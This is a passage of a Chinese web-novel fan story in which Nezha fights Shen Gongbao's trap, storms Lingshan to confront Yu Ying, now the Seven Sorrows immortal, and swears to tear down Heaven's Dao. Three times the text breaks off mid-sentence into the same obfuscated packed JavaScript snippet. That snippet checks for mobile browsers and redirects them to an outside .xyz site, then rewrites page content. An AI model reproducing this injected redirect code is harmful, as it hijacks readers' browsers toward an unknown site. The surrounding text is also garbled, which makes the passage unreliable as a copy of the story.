黑石谷中,九幽魔将正在擦拭他的双刃。刀刃上还沾着新鲜的血液,一滴一滴落在石缝里。 “你说,哪吒会喜欢这份礼物吗?”他问身旁的副将,“听说他那位小师妹,最爱吃樱桃了。” 副将刚要回答就瞪大了眼睛。 谷口处,一道身影踏着血雾而来。 火尖枪拖在地上,划出长长的火星,那人每走一步,地上的石子就震颤着跳起来,像是畏惧着什么。 “你……”九幽魔将站起身,双刃交叉在胸前,“来得倒是快。” 哪吒抬起头,漆黑的眸里冰冷一片。 “那些樱桃,”他的声音轻得可怕,”哪来的?” 九幽魔将咧嘴一笑:“你猜?从一个穿白衣的小姑娘那里……” 他的话没能说完。 火尖枪穿透了他的咽喉,将他整个人钉在了山壁上。 哪吒凑近他扭曲的脸,轻声道:“你知道吗?她最讨厌血沾到衣服上了,她会生气的。” 混天绫缠上魔将的四肢,一寸寸收紧,骨骼碎裂的声音在山谷中回荡,伴随着凄厉的惨叫。 当周军赶到时,只看到岩壁上大片大片的血迹,和散落一地的樱桃核。 哪吒站在血泊中央,手里握着半截染血的白色衣袖。 “不是她的。”他喃喃自语,“不是她的……” 将士们不敢靠近。 他们看见三太子的背影在微微发抖,混天绫在地上划出一道道深沟,像是受伤的野兽在发泄怒火。 突然,哪吒抬起头。 他嗅到了熟悉的气息,清冷的,带着莲香的风。 远处山巅,一抹白影一闪而过。 “与应……?” 哪吒纵身跃起,几个起落就追了上去,可山巅空空如也,只有几片莲瓣随风飘落。 他徒劳地抓住那些花瓣,可转眼间,花瓣就在他掌心化作了尘埃。 “你到底在哪……” 他脸上的血落在石头上,发出轻响。 山风呜咽,像是谁的叹息。 28.第 28 章 哪吒攥着那半截染血的衣袖,指节发白,山巅的风卷起莲瓣碎末,擦过他脸颊的伤口,没有血,只有细碎的花瓣飘落。 “不是她的……”他重复着,声音干哑,却带着一种近乎偏执的确认。 那藕荷色的身影、嗔怪的笑语,仿佛只是被血腥气激起的幻影。 将士们远远看着,无人敢上前,三太子周身的气压低得骇人,混天绫在地面划出深痕,碎石乱飞。 “清理干净。” 他看也没看那摊血污和樱桃核,转身向谷外走去,脚步踩在碎石上,每一步都踏碎几片莲瓣。 回到军营,他将那半截白袖扔进火盆,火焰吞噬了布料,他盯着跳跃的火苗,眼神空洞。 “三太子,”声音在帐外响起,“黑石谷已平。只是……” “说。”哪吒没回头。 “那箱樱桃……来自附近一个刚被商军屠戮的村庄。村里有个穿白衣的小姑娘……”声音带着不忍。 哪吒的身体几不可察地僵了一下,火焰在他漆黑的瞳孔里跳动,映不出丝毫温度。 “知道了。” 帐内只剩下火焰燃烧的噼啪声,哪吒缓缓抬手,抚上胸口,那里,褪色的红发带紧贴着皮肤。 疲惫如潮水般涌来,带着梦境里莲池的寒意,他闭上眼,仿佛又看见她端坐池边,衣袂飘然,眼神穿透他,望向虚无。 “梦该醒了。” “我已是灵山中人。” “灵山……”他低语,指尖无意识地抠着发带上模糊的莲纹,直到指腹传来细微的刺痛,低头看去,几片更小的花瓣从指缝飘落。 他扯了扯嘴角,一个无声的冷笑。 伐纣。活到未来。见到她。 师父的预言像枷锁,也像唯一的浮木,他靠着它熬过十四年,如今未来就在眼前,触手可及又遥不可及。 帐帘被风吹起一角,漏进一丝月光,哪吒站起身,走到铜盆前。 水面倒映着一张苍白,沾着尘土和细小花瓣的脸,眉眼间戾气深重,唯有额间一点朱砂红得刺眼。 不像她记忆里的师兄了。 他掬起冷水泼在脸上,水珠混着花瓣滚落,打湿衣襟,带来短暂的清醒。 不够。杀得还不够。 他要杀穿这乱世,杀到天道都不得不正视他的执念。 他要活到那个重逢的时刻,哪怕站在她面前的,是一个从尸山血海里爬出来,满身杀孽,连自己都觉得陌生的先行官。 帐外传来换岗士兵的脚步声,哪吒擦干脸,拿起火尖枪,掀帘而出,走入沉沉的夜色,月光洒在他身上,战甲泛着冷硬的光,新的红发带束着墨发,随风轻扬。 远处,连绵的营火是西岐的堡垒,更远处,是商军盘踞的,需要踏平的黑暗。 他迈开脚步,朝着那片黑暗走去,步伐坚定,踏碎一路无声飘落的花瓣。 路还长。他要活着走到尽头。走到那个有她的、冰冷的未来。 · 那箱樱桃确实来自被屠的村落,但蹊跷的是,负责屠村的并非普通商军,而是申公豹座下豢养的专司邪秽之事的魇影卫。 村中唯一幸存的疯癫老妪,口中反复念叨着:“红果…引怨…仙气…锁…” “引怨…锁仙?” “应”,白影,商军在用樱桃做饵,布一个局,目标是他。 “申公豹…”哪吒冷笑,火尖枪嗡鸣震颤,枪尖迸出几点火星。 那个阴险的国师,定是从某种渠道探知了他对与应的执念,甚至可能窥见了七苦元君的存在。 他想用这沾血的樱桃,这刻意模仿的“应”字,刺激他,引他入魔,或者……引出与应? “传令,”哪吒声音沉冷,“全军戒备,斥候散出五十里,重点搜索有樱桃树或邪气异动之地,申公豹,必有后手。” 果然,三日后,前线斥候带回染血的布条和一捧新鲜得诡异的樱桃,樱桃殷红饱满,却散发着浓重的血腥与一丝被刻意扭曲过的香气。 布条上用血写着:“欲寻故影,独赴葬樱谷。” 葬樱谷,位于商军控制腹地的一处绝地,传闻谷中终年弥漫毒瘴,误入者尸骨无存。 陷阱,赤裸裸的陷阱。 “哪吒,不可!”姜子牙与杨戬同时劝阻,谁都看得出这是请君入瓮。 哪吒盯着那捧血樱桃,指尖捻起一颗,他仿佛又看到与应坐在莲池边,疏离的眼神穿透他。 “我必须去。” 他声音平静,却带着不容置疑的决绝,他不能再等,不能再被这猫捉老鼠的游戏戏弄。 他要亲手撕开这阴谋,看看申公豹到底在打什么主意,看看这血樱桃背后,是否真的有一丝与应的踪迹。 哪怕只有万分之一的可能性,他也要闯。 “为我掠阵。”哪吒丢下这句话,混天绫一卷,冲向葬樱谷方向,战甲破风,沿途伤口只飘落细碎花瓣。 · 葬樱谷名副其实。 谷口狭窄,向内望去,并非想象中毒瘴弥漫,反而开满了樱桃树。 只是这些树极其诡异,树干漆黑如焦炭,枝叶却是病态的深绿,上面挂满了累累的,血一样红的樱桃。 浓得化不开的血腥气和令人作呕的甜香充斥整个山谷,地上铺着厚厚层腐烂的落樱,踩上去绵软粘腻。 哪吒踏入谷中,火尖枪斜指地面,警惕着四周,混天绫在周身缓缓游弋。 “哈哈哈……”一阵阴冷的笑声从谷内深处传来,“三太子果然情深义重,为了故人,龙潭虎穴也敢闯。” 他手中托着一个血玉雕成的钵盂,钵盂内盛满了粘稠暗红的液体,上面漂浮着几颗血樱桃,正散发出微弱的灵光。 “看看这个,”申公豹将钵盂微微倾斜,那灵光挣扎扭动,竟隐约透出一丝与应的气息,但极其微弱且痛苦。 “你的小师妹,七苦元君……她的气息,是不是很怀念?可惜啊,灵山护持太严,真身难动,只能借这‘血樱引魂阵’,从她散落世间的怨气里,硬生生撕扯出这么一点‘味道’来。” 商军用无辜者的血浇灌邪樱,用残忍的仪式强行捕捉与应在世间可能残留的碎片,制成这恶心的饵,就为了引他入瓮,引他发狂。 “你找死!” 哪吒怒火焚心,杀意冲天而起,山谷中的血樱树树叶沙沙作响,如同鬼泣。 “找死?”申公豹大笑,猛地将血玉钵盂往地上一砸,“阵起!” 整个葬樱谷地面亮起刺目的血光,无数道由粘稠血气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650335|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和扭曲樱魂构成的锁链从地面,从黑樱桃树上爆发,直扑哪吒。 “哪吒!看看你现在的样子!”申公豹在阵外狂笑,“杀孽缠身,戾气盈天!你和她早已是云泥之别!灵山清净地,岂容你这等血海罗刹?她认不出你?那她是不愿认你!不敢认你!你靠近她,只会玷污她的莲台!” 句句诛心。 哪吒挥枪格挡着漫天血链,混天绫绞碎无数邪魂,花瓣与破碎的血色灵光交织飞溅。 “闭嘴!”哪吒嘶吼,枪势更加狂暴,一枪穿过数条血链,直指阵眼核心。 他不能被蛊惑,他要撕碎这邪阵,毁了那拘禁着与应残念气息的血玉碎片。 然而,就在他枪尖即将触及阵眼核心的瞬间,那核心处的光团猛地颤动,一股极其微弱却熟悉的气息爆发出来。 这股气息太微弱,却无比纯粹,瞬间穿透了污浊的血气。 哪吒的动作猛地一滞,是她的气息,虽然只有一丝,虽然被邪阵扭曲得痛苦不堪,但那确确实实是与应的本源气息。 “与应……” 他失神低唤。 就在这出神的刹那,数道最粗壮的血链趁机死死缠上了他的四肢和脖颈,邪秽之力疯狂涌入,试图侵蚀他的神志。 “成了!抓住他!抽其灵珠本源,炼入阵中!有他的执念为引,定能撕开灵山屏障,将那菩萨的真灵也拖下来!” 魇影卫的吟唱声陡然拔高,骨幡猎猎作响,整个葬樱谷的邪阵光芒大盛,血链收紧。 哪吒被血链死死缠绕,邪力如冰冷的毒蛇钻入四肢百骸,周身花瓣狂乱飞舞,却在接触到血色锁链时迅速枯萎,化为灰烬。 那丝熟悉的气息,在他识海中炸开剧痛与混乱。 “……她认不出你?是不愿!不敢!” “……玷污她的莲台!” “……抽其灵珠本源!撕开灵山!” 是啊,他满身杀孽,戾气冲天,从地狱爬出的恶鬼,怎配靠近那灵山清净地?那冷漠的称呼,是否正是她无声的厌弃? 绝望的阴影几乎要将他吞噬,血链越收越紧,邪力疯狂蚕食着他的神志,试图将那深埋的疯狂彻底引爆。 就在意识即将被拖入黑暗的瞬间,掌中紧贴胸口的某处,传来一丝微弱却坚韧的暖意。 是那条发带。 褪色染血的边缘早已磨损,唯有金线绣的莲花纹路,隔着冰冷的战甲和里衣,顽固地烙印在他心口,像一道微弱却永不熄灭的星火。 “师兄,这发带可要收好,我答应种一辈子萝卜才换来的。” 少女清凌凌带笑的声音,穿透了十四年的血雨腥风,穿透了申公豹恶毒的诅咒,无比清晰地在他心底响起。 不是冰冷的元帅,三太子。 是师兄,是那个只属于乾元山时期的称呼,是那个专属于她的称呼。 那些被刻意遗忘的暖意汹涌回溯,樱桃林里的追逐,溪水边的笑闹,莲池畔的侧脸……还有她最后时刻,那近乎温柔的悲伤眼神。 缠绕在他身上的血链应声崩碎,混天绫狂啸着席卷整个山谷,黑樱桃树摧枯拉朽般碎裂,阵眼核心发出不堪重负的哀鸣。 “申!公!豹!” 哪吒一步步踏出,脚下地面寸寸龟裂。 29.第 29 章 哪吒杀穿了葬樱谷。 申公豹的邪阵在他暴怒的枪下粉碎,血樱桃树燃起大火,黑烟冲天。 魇影卫的骨幡折断,惨叫声中,他们的魂魄被混天绫绞成碎片。 申公豹逃了,只留下一地狼藉和那破碎的血玉钵盂,里面残存的与应的气息,也在火焰中消散殆尽。 哪吒站在燃烧的谷中,火光照亮他染血的脸,花瓣从伤口飘落,混着灰烬,无声消逝。 他弯腰,从焦土中拾起一块未完全毁掉的血玉碎片,指尖触碰的瞬间,一段破碎的记忆涌入—— 与应死的那天。 不是战场,不是意外,而是她自己选的,天道选中她,要她成为承载世间怨气的容器,苍生苦难太多,需要一个七苦元君来背负。 她没告诉他,只是安静地坐在莲池边,望着水面,轻声说:“师兄,我可能要出一趟远门。” 他当时在擦枪,头也没抬:“去哪?我陪你。” 她笑了笑,没回答。 后来,她死了,不是战死,不是被害,而是自愿散尽魂魄,化入天地,承受众生怨念。 师父告诉他:“与应没死,只是成了灵山的七苦元君,这一世与你相识,是她的劫,也是她的缘,她要历遍七苦,才能真正超脱。” 哪吒攥紧血玉碎片,指节发白。 她不是厌弃他,不是忘了他,而是背负了比他更沉重的宿命,她成了七苦元君,冷眼旁观世间苦难,连自己的感情都要斩断。 而他呢?他还在战场上发疯,还在为一条发带拼命,还在等她回来骂他一句“脏死了”。 多可笑。 他站起身,混天绫缠绕回臂间,火尖枪上的血已干涸,枪尖映着残火。 “灵山是吧?”他冷笑,“好,我去找你。” 不是重逢,是讨债。 他倒要问问—— 这苍生的苦,凭什么要她来背?这该死的天道,凭什么要她来牺牲? 如果七苦元君必须无情无欲,那他就杀上灵山,亲手打碎她的莲台。 哪吒踏出葬樱谷,身后烈焰未熄,身前长夜未尽,他抬头望向西方天际,那里隐约可见灵山的轮廓。 “七苦元君……” 他低声念着这个陌生的封号,嘴角扯出冷笑,火尖枪在手中转了个圈,枪尖划过空气发出尖锐啸声。 回到军营,哪吒直接闯进姜子牙的营帐,老丞相正在研读兵书,见他浑身杀气地进来,不由皱眉:“你又去……” “我要去灵山。” 姜子牙手中的竹简啪嗒一声掉在案上:“你疯了?伐纣大业未成,你……” “我管不了那么多。”哪吒一把扯下胸前挂着的先锋印信扔在桌上,“这个位置,换个人来坐。” 姜子牙盯着他看了许久,最终长叹一声:“你可知灵山是什么地方?那是……” “我知道。”哪吒转身往外走,“所以才非去不可。” 帐外,杨戬抱着三尖两刃刀靠在柱子上,显然已经听到了全部对话,他拦住哪吒:“我跟你一起去。” 哪吒摇头:“这是我的事。” “你一个人闯不进去。”杨戬坚持道,“灵山有三千罗汉,四大金刚,还有……” 哪吒丝毫没有动容,“那就杀进去。杀到他们让我见她为止。” 杨戬知道劝不住他,只能让开,看着哪吒远去的背影,他低声对赶来的雷震子说:“去告诉太乙师叔,他徒弟要闯大祸了。” 哪吒没有带兵,没有通知任何人,他一个人,一杆枪,就这样向西而去。 路上遇到的商军斥候,他看都不看,随手一枪解决。 · 他站在灵山脚下,抬头望去,山巅佛光普照,梵音阵阵,山门处,两个守门罗汉已经横枪拦路。 “来者何人?”罗汉喝道。 哪吒懒得废话,火尖枪一挑,两个罗汉应声倒地,他踏着他们的身体走进山门。 钟声响彻灵山,很快,十八罗汉列阵而来,将哪吒团团围住。 “让开。”哪吒说,“我只找七苦元君。” “放肆!”为首的罗汉怒喝,“灵山圣地,岂容你……” 话未说完,哪吒的枪已经刺穿他的肩膀,鲜血从伤口喷涌而出,罗汉闷哼着后退。 战斗一触即发。 十八罗汉的阵法精妙,但在哪吒面前节节败退,他像一阵旋风,所过之处罗汉纷纷倒地。 打到第三十六个罗汉时,四大金刚终于现身,他们手持降魔杵,怒目圆睁:“孽障!敢在灵山撒野!” 哪吒冷笑,枪尖直指其中一人:“我说了,只要见七苦元君。” “元君正在闭关,不见外客!” “那就别怪我不客气了。” 四大金刚确实厉害,哪吒身上开始出现真正的伤口,这次连花瓣都不飘了,只有淡淡的黑气从伤口渗出。 当他终于击倒最后一个金刚时,灵山深处传来一声悠长的叹息。 “够了。” 哪吒浑身一震,虽然比记忆中更加空灵,更加遥远,但他绝不会认错。 雪白身影立于莲台之上,墨发垂落,眉心一点朱砂,浅淡的眼眸平静无波。 “与应。” 哪吒的声音干涩得厉害,枪尖还滴着金刚的血,混着黑气,他看着她的眼睛,试图找到一丝裂缝。 “三太子。”她微微颔首,声音空灵遥远,听不出任何情绪,“擅闯灵山,伤我护法,所为何事?” “所为何事?我来找你!与应!” “三太子自重。”她神色未变,仿佛听到一个陌生的名字,“此地无此人。贫僧法号‘七苦’。” “七苦?” 哪吒猛地抬手,那条褪色染血,边缘磨损的红发带被他死死攥在掌心,金线莲纹几乎要被他抠烂。 “那你告诉我,这是什么?!是谁答应种一辈子萝卜换来的?!” 发带暴露在灵山纯净的佛光下,与上面的血腥与尘埃格格不入,她的眸光终于在那条发带上停留了一瞬,指尖微微蜷缩了。 “前尘旧物,何须执着。”她的声音依旧平稳,“三太子杀孽深重,戾气缠身,灵山清净地,非你久留之处。请回吧。” “清净?”哪吒盯着她,忽得笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15655925|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来,“用你的魂飞魄散换来的清净?用你变成这副鬼样子换来的清净?这清净,我嫌脏!” 他抬手指向山下,指向那片被战火蹂躏的人间。 “你看看!看看你承载的苍生之苦!看看那些血流漂杵!看看那些妻离子散!这就是你要背负的东西?这就是天道强加给你的狗屁宿命?!它凭什么?!” 他步步紧逼,混天绫在他身后狂躁地舞动,搅动得佛光都黯淡了几分。 “回答我!与应!你看着我!”他几乎是吼出来的,“看着我!告诉我!这值不值得?!” 与应静静地看着他,看着他染血的战甲,看着他眉宇间化不开的戾气,看着他眼中那几乎要将他自己也焚烧殆尽的痛苦。 那浅淡如琉璃的眸子里,似乎有什么东西闪烁了一下,随即又被更深的空茫覆盖。 她缓缓抬起手,不是攻击,而是指向山门方向,指尖稳定,不带一丝颤抖:“三太子,你的路,不在这里。你的执念,已成心魔。” 声音依旧清冷,却仿佛带上了一丝极淡的叹息,如同莲瓣落入水中,转瞬即逝。 “放下,方得解脱。” “放下?”哪吒死死盯着她,像是要将她这层冰冷的外壳彻底洞穿,“我的路,我自己杀出来!我的执念,就是打破这该死的天道!打碎你这该死的莲台!” “哪吒!” 一声急喝传来,金光闪过,太乙真人终于赶到,拂尘一卷,堪堪挡在哪吒身前。 老道看着徒弟近乎癫狂的模样,又看向莲台上那无悲无喜的七苦元君,眼中满是复杂痛惜。 “师父……”哪吒的声音像是从喉咙里挤出来的,“您告诉我……她真的……全忘了吗?” 太乙真人没有回答,只是沉重地叹了口气。 莲台上的与应,目光越过对峙的师徒,投向远方翻涌的云海,那里劫云隐隐,雷光暗藏。 头顶的天空暗了下来,不是乌云,一只巨大到无法想象的眼睛,在翻滚的黑暗中央缓缓睁开,冰冷,漠然,丝毫没有属于生灵的情感。 它的目光瞬间锁定了站在破碎莲台前的哪吒,那目光里没有愤怒,没有杀意,只有一种绝对的否定。 他不该在这里,他违背了命定的轨迹。 一道纯粹由规则之力构成的,无法形容其形态的光直劈哪吒。 “住手!” 与应挡在哪吒身前,直面那冷漠的天道之眼。 “别忘了你答应过什么!” 天道之眼似乎微微凝滞了一瞬,恐怖的威能并未散去,只是暂停了。 巨大的眼睛俯视着下方渺小的莲台和身影,视线在她身上停留了片刻,似在权衡利弊。 她昂着头,毫不退缩地回视着那只眼睛。 终于,覆盖天空的黑暗退去,佛光重新洒落,梵音再次响起。 “与应……”他嘶哑地开口,声音破碎不堪。 她背脊挺得笔直,重新恢复了那无悲无喜的姿态,仿佛刚才那撼动天道的对峙从未发生。 “走。回你该去的地方。” “伐纣未成,天命在身……莫要自误。” 30.第 30 章 哪吒盯着她挺直的脊背。 佛光照在雪白僧衣上,圣洁,刺眼,刚才挡在他身前时,她衣角被天道的威压撕开一道裂口,此刻正微微飘动。 “哈……”他喉咙里滚出一声短促的笑,“好一个天命。” 枪尖重重顿在碎裂的莲台石基上,发出刺耳的刮擦声。 “七苦元君?”他盯着她转过来的侧脸,那点朱砂红得刺目,“真会装。” 太乙真人的拂尘还挡着,老道脸色难看:“哪吒!不可对元君无礼!” 哪吒没理师父,只死死锁着与应那双空茫的眼,像要从里面挖出点什么。 “苍生的苦,背得爽吗?”他声音不高,“斩断七情六欲,当这活死人……很痛快?” 与应的睫毛颤了一下,她垂眸避开他噬人的目光,双手在袖中合十。 “天命所归。” 声音平稳,听不出丝毫涟漪。 “去他的天命!”哪吒猛地拔枪,枪尖带起碎石,直指她眉心,“我只问你一句!” “那条发带……”他每个字都像从牙缝里挤出来,“上面沾的血,是不是比这灵山的佛光更脏?” 与应合十的指尖在袖中收紧,骨节泛白。 太乙真人脸色骤变,拂尘一抖,一道金光卷住哪吒:“哪吒!走!” 金光裹挟的力道极大,哪吒被带得踉跄后退,他没反抗,只是最后剜了莲台一眼,那眼神像淬火的刀,要把那身雪白僧衣连同这虚假的佛光一起劈开。 “等着。我会回来。砸碎你这莲台。” 金光裹着他,瞬间消失在原地。 灵山脚下只余一片狼藉,倒伏的罗汉,碎裂的金刚杵,染血的石阶。 梵音重新弥漫,庄严神圣,试图掩盖那浓得化不开的血腥与戾气。 莲台上,与应依旧垂眸合十。 山风吹过,拂动她额前一丝墨发,宽大的袖袍下,那合十的双手,指甲深深掐进了掌心。 她缓缓抬眸,望向哪吒消失的方向。 · 再睁眼时,营帐顶棚映入眼帘,熟悉的腥气混着伤药的气息钻进鼻子,不是灵山的莲香,是人间的营帐。 “醒了?” 杨戬的声音在床边响起,没什么情绪,递过来一碗黑糊糊的药汁。 哪吒没接,他试着动了一下,骨头缝里都像被碾碎过,每一寸皮肉都在叫嚣。 “她……” “她无恙。”杨戬打断他,把药碗又往前送了送,“灵山闭门谢客,金刚罗汉的伤比你重。姜师叔压下了消息。” 他顿了顿,看着哪吒脸上那道泛着诡异黑气的伤口。 “你差点把天捅破。” “捅破才好。” 帐外传来黄天化压低的抱怨:“……疯了吧!一个人打上灵山?为了个女人?仗还打不打了!” 邓婵玉的声音更冷:“闭嘴!你懂个屁!” 脚步声很快远去。 哪吒像是没听见,只盯着自己摊开的手掌,掌心残留着强行催动法力震裂的伤口,皮肉翻卷,他慢慢收拢手指,感受着皮肉撕裂的痛楚。 这点疼,算什么。比起她扛着的那些看不见的苍生苦难,这算什么? 恨来恨去,竟是恨她独自承受一切,却什么都不说。 太乙真人撩开帐帘进来,脸色比锅底还黑,他没说话,拂尘一扫,一道温润青光罩住哪吒。 那青光落在他身上,非但没净化,反而黑气像被激怒的毒蛇,缠绕得更紧了些。 哪吒闷哼一声,额角渗出冷汗。 “孽障!”太乙真人又惊又怒,拂尘都抖了,“那东西……天道留下的印记,竟如此歹毒!它在啃你的根基!你在灵山到底……” 哪吒闭上眼,不答。 灵山脚下,那纯粹否定的目光又来了,不是伤,是烙印,是天道在标记他错误的命定轨迹。 明明就差一点,差一点就能把她带回来。他沉默半晌。 “师父,苍生的苦,是什么滋味?” 太乙真人一怔。 “她尝着,好吃吗?”哪吒睁开眼,眼底一片荒芜。 太乙真人看着徒弟眼中那片死寂的黑,心头猛地一沉。 “哪吒,此乃天命,你强求不得,这印记……为师会想办法,但你若再妄动……” “我的路,我自己趟。” 哪吒打断他,撑着床沿,硬是坐了起来,混天绫感应到主人的意志,无精打采地飘起,绕着他盘旋。 他看向靠在床脚的火尖枪,枪尖黯淡,残留着金刚的血和灵山石阶的粉末。 还不够,远远不够。 他伸出手,不是去接药碗,而是抓向那冰冷的枪杆。 指尖触到的刹那,一阵天旋地转的剧痛猛地攫住他,视野瞬间被一片金色笼罩。 一处山巅,白影伫立于此,上方巨大的眼睛俯视着她,无数红色丝线将她紧紧缠绕。 “与应!” 他想喊,喉咙却像被棉花堵住。 那身影似乎微微动了一下,随后不停变换,鹅黄的,藕荷色的,最终坠在血淋淋的樱桃酒里,倒流进那只巨大的眼中。 周围翻涌的戾气全部席卷着朝她而去,哪吒看到她缓缓侧过头,眼中空茫一片,血泪从嘴角、从眼眶流下。 而后,她并指为剑,狠狠地将自己的脖颈撕裂,黏腻的黑色液体从中渗出,逐渐将她和那只眼睛淹没。 · 哪吒的手指死死抠在枪杆上,喉咙里滚出半声压抑的嘶吼,身体不受控制地后仰,重重撞在硬板床沿,震得旧伤崩裂。 “哪吒!” 太乙真人一步抢上,拂尘强行按向他眉心神窍,试图压下那翻腾的戾气和神魂动荡。 可那青光竟开始反噬,将太乙真人的袖口撕开一道口子。 “师叔!” 哪吒没看他们,他大口喘着粗气,胸膛剧烈起伏。 眼前还残留着那身影被无尽黑暗吞噬的最后一幕,血泪蜿蜒,撕裂的脖颈,还有那淹没一切的黑。 “不够……”他声音哑得厉害,眼神死死钉在虚空一点,“这点痛……这点伤……这点恨……不够!” 他猛地抬手,一拳砸在自己胸口,砸得自己闷哼出声。 她在流血,她在说她不服。 “她在受刑!”他几乎是吼出来的,“那狗屁的天道!那满山的秃驴!都在啃她的骨头!吸她的血!” 他再次伸手,这次是抓向自己臂间无精打采的混天绫,赤红的绸缎被他粗暴地扯下,缠绕在拳头上,一圈又一圈,勒得指骨咯咯作响。 绫带扭曲起来,仿佛感应到了主人心中滔天的恨与痛,绫身发出低沉的嗡鸣。 嗡鸣中带着一种同源相生的悲怆,仿佛在呼应着什么极其遥远且痛苦的存在。 “往生绫……?” 那条与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662549|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她魂魄相连的往生绫,正通过同源的混天绫,向哪吒传递着主人濒临崩溃的绝望。 “她在求救?” 杨戬握紧了刀柄,声音发紧。 “求救?”哪吒扯出一个比哭还难看的笑,“她是在告诉我……她在撕,在咬!在跟那狗屁天道同归于尽!她在告诉我她不服!” 他猛地抬头,目光穿透营帐的顶棚,直刺向西方的天空,那里仿佛还残留着天道之眼的余威。 “师父,”他声音忽得平静下来,“我的根基,被啃了,是吧?” “是。那印记歹毒无比,若不清除……” “那就让它啃!”哪吒打断他,“啃得越快越好!” 太乙真人和杨戬都愣住了。 哪吒撑着床沿,摇摇晃晃地站了起来,他身形不稳,却如一杆枪般,带着决绝。 “啃掉这身灵珠子给的皮囊,啃掉这身藕花制成的壳子!”他盯着西方,“啃到渣都不剩!啃到只剩下——” 他低头,看向拳头上的混天绫,赤红的绫身感应到主人的意志,愈发红得刺目。 “只剩下我哪吒自己的恨!” 他抬起手,混天绫如燃烧的血虹,猛地指向营帐之外,指向灵山的方向。 “然后,用这点渣子,这点恨,捅破那天!撕开那墨!把她——” 他顿了顿,眼神扫过太乙真人和杨戬震惊的脸,扫过这充满药味和血腥的营帐,最终落回自己的拳头上。 “抢回来!” 太乙真人脸色煞白,拂尘颓然垂下,他看出来了,哪吒不是在说气话,他是真的要把自己当成燃料。 烧掉所有不属于“哪吒”的东西,烧掉灵珠子的根骨,烧掉莲花化身的清净,只留下战场上滚出来的,浸透骨髓的恨与执念。 “报——!”传令兵惊慌失措地冲进来,“商军!闻仲亲率大军压境!先锋已至十里外!” 营帐内死寂了一瞬。 哪吒却在这战鼓声中笑了出来,真好,所谓的天命不允许他休息,不允许他软弱。 他撑着火尖枪站起来,每动一下,身体里都发出细微的崩裂声,黑气从崩裂处丝丝缕缕地逸散,混着花瓣碎屑。 “来得……正好。” 他不再看太乙真人和杨戬,拖着那杆同样煞气冲天的火尖枪,一步一步走向帐外。 掀开帐帘,刺眼的阳光照在他脸上,那张脸黑气缭绕,伤痕累累,唯有一双眼睛亮得骇人。 外面,西岐将士们已经列阵,气氛凝重,黄天化、邓婵玉等人看到他这副模样,都倒吸一口凉气。 雷震子搓搓胳膊,心想。这家伙终于还是疯了。 哪吒径直走向阵前,他望着远处地平线上闻仲大军压境扬起的沙暴。 他化作一道残影,孤身一人,朝着那遮天蔽日的商军洪流,决绝地撞了过去。 他不再是为了西岐,不再是为了伐纣,他是为了加速自己的毁灭。 用敌人的血与魂,喂食心口的毒瘤。 用这无边战场的杀伐戾气,淬炼那最后一点,只属于哪吒自己的,足以捅破天的恨。 杨戬看着那决绝冲向敌阵的背影,牙关紧咬,三尖两刃刀发出铮响,紧随其后冲了出去。 太乙真人站在原地,看着地上混着黑气的花瓣碎屑,又望向那瞬间被红光淹没的前线。 他没有阻止,他知道自己这个徒弟向来是玉石俱焚、绝不妥协的性子。